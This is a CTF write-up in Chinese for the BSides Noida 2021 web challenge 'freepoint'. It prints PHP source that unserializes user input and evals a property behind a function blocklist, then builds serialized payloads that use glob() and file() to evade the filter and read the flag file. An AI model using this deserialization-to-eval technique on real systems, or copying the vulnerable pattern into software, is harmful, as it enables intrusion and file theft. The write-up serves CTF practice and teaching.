BSides Noida CTF 2021--Web/freepoint-glob函数

<?php

include "config.php";
function filter($str) {
    if(preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i",$str)) {
        return false;
    } else {
        return true;
    }
}
class BSides {
    protected $option;
    protected $name;
    protected $note;

    function __construct() {
        $option = "no flag";
        $name = "guest";
        $note = "flag{flag_phake}";
        $this->load();
    }

    public function load()
    {
        if ($this->option === "no flag") {
            die("flag here ! :)");
        } else if ($this->option === "getFlag"){
            $this->loadFlag();
        } else {
            die("You don't need flag ?");
        }
    }
    private function loadFlag() {
        if (isset($this->note) && isset($this->name)) {
            if ($this->name === "admin") {
                if (filter($this->note) == 1) {
                    eval($this->note.";");
                } else {
                    die("18cm30p !! :< ");
                }
            }
        }
    }

    function __destruct() {
        $this->load();
    }
}

if (isset($_GET['ctf'])) {
    $ctf = (string)$_GET['ctf'];
    if (check($ctf)) { //check nullbytes
        unserialize($ctf);
    }
} else {
    highlight_file(__FILE__);
}
?>

首先看代码，很明显有个反序列化

要满足：

$option = "getFlag"

$name = "admin";

$note = "你想执行的命令";

这里说一下 ，代码反序列化之前会检查是否有空字节

 三种类型变量区别：

public无标记，变量名不变，长度不变: s:2:"op";i:2;
protected在变量名前添加标记\00*\00，长度+3: s:5:"\00*\00op";i:2;
private在变量名前添加标记\00(classname)\00，长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;

因此 要是序列化protected变量，会产生空字节，因此要改成public

构造：

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo (' test')";//这里注意单引号后面加空格，正则会过滤
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
?>
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:14:"echo (' test')";}

由于正则过滤了一大堆，采用glob函数

比如打印当前目录下目录和文件名：

print_r glob('*')

注意glob返回值是数组，所以一般采用print_r来输出数组信息。

该题过滤了下划线，所以不能用。采用echo的话要加上[0]来表示数组某一个量

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo  glob('*')[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:18:"echo  glob('*')[0]";}

?>

继续访问根目录，找到flag文件，过程不详细描述了

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo  glob('/home/*')[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:24:"echo  glob('/home/*')[0]";}
?>

这里要读取文件内容，可以采用file函数

但是正则过滤了小数点和下划线，因此flag文件名字不能出现在note

可以利用函数返回值作为参数绕过

构造

file(glob('/home/*')[0])

注意file()返回值也是数组，因此查看采用：

echo file(glob('/home/*')[0])[0]

最终poc：

<?php
class BSides {
    public $option="getFlag";
    public $name="admin";
    public $note="echo file(glob('/home/*')[0])[0]";
}

$sss=new BSides();
$s = serialize($sss);
echo $s;
#O:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:32:"echo file(glob('/home/*')[0])[0]";}